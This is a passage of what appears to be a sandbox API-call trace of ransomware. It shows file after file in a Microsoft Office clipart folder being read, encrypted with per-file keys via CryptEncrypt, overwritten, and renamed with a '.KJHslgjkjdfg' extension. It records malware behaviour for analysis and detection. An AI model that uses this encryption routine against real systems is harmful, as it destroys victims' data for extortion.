nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.988] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.988] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.988] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2f38, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2f38, lpOverlapped=0x0) returned 1 [0214.990] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2f40, dwBufLen=0x2f40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2f40) returned 1 [0214.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.991] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2f40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2f40, lpOverlapped=0x0) returned 1 [0214.991] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.991] SetEndOfFile (hFile=0x130) returned 1 [0214.994] GetProcessHeap () returned 0x2ef0000 [0214.994] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.994] GetProcessHeap () returned 0x2ef0000 [0214.994] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.kjhslgjkjdfg")) returned 1 [0214.996] CloseHandle (hObject=0x130) returned 1 [0214.996] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f311400, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f311400, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00452_.WMF", cAlternateFileName="")) returned 1 [0214.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.997] GetProcessHeap () returned 0x2ef0000 [0214.997] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.997] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.998] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.000] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.000] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.000] GetProcessHeap () returned 0x2ef0000 [0215.000] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.000] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.001] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.001] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.001] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.001] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.001] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.001] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.001] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.001] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.002] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14bc, lpOverlapped=0x0) returned 1 [0215.003] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14c0, dwBufLen=0x14c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14c0) returned 1 [0215.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.003] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14c0, lpOverlapped=0x0) returned 1 [0215.003] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.003] SetEndOfFile (hFile=0x130) returned 1 [0215.006] GetProcessHeap () returned 0x2ef0000 [0215.006] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.006] GetProcessHeap () returned 0x2ef0000 [0215.006] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.kjhslgjkjdfg")) returned 1 [0215.012] CloseHandle (hObject=0x130) returned 1 [0215.012] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cceba00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cceba00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00454_.WMF", cAlternateFileName="")) returned 1 [0215.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.014] GetProcessHeap () returned 0x2ef0000 [0215.014] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.014] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.014] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.014] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.014] GetProcessHeap () returned 0x2ef0000 [0215.014] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.014] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.014] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.014] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.027] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.027] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.027] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.027] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.027] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.027] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.028] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1580, lpOverlapped=0x0) returned 1 [0215.028] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1580, dwBufLen=0x1580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1580) returned 1 [0215.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.029] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1580, lpOverlapped=0x0) returned 1 [0215.029] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.029] SetEndOfFile (hFile=0x130) returned 1 [0215.030] GetProcessHeap () returned 0x2ef0000 [0215.030] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.030] GetProcessHeap () returned 0x2ef0000 [0215.030] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.kjhslgjkjdfg")) returned 1 [0215.032] CloseHandle (hObject=0x130) returned 1 [0215.032] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78d7c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf78d7c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x27a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00458_.WMF", cAlternateFileName="")) returned 1 [0215.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.033] GetProcessHeap () returned 0x2ef0000 [0215.033] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.033] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.034] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0215.036] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.036] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.036] GetProcessHeap () returned 0x2ef0000 [0215.036] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.036] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.036] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.036] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.037] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.037] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.037] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.037] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x27a4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x27a4, lpOverlapped=0x0) returned 1 [0215.038] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27b0) returned 1 [0215.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.038] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x27b0, lpOverlapped=0x0) returned 1 [0215.039] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.039] SetEndOfFile (hFile=0x130) returned 1 [0215.041] GetProcessHeap () returned 0x2ef0000 [0215.041] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.041] GetProcessHeap () returned 0x2ef0000 [0215.041] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.042] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.kjhslgjkjdfg")) returned 1 [0215.043] CloseHandle (hObject=0x130) returned 1 [0215.043] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80e3300, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80e3300, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00462_.WMF", cAlternateFileName="")) returned 1 [0215.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.045] GetProcessHeap () returned 0x2ef0000 [0215.045] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.045] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.045] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.047] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.047] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.047] GetProcessHeap () returned 0x2ef0000 [0215.047] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.047] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.047] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.048] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.048] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.048] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.048] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.048] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.048] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.048] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.049] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f6c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4f6c, lpOverlapped=0x0) returned 1 [0215.053] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f70, dwBufLen=0x4f70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f70) returned 1 [0215.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, 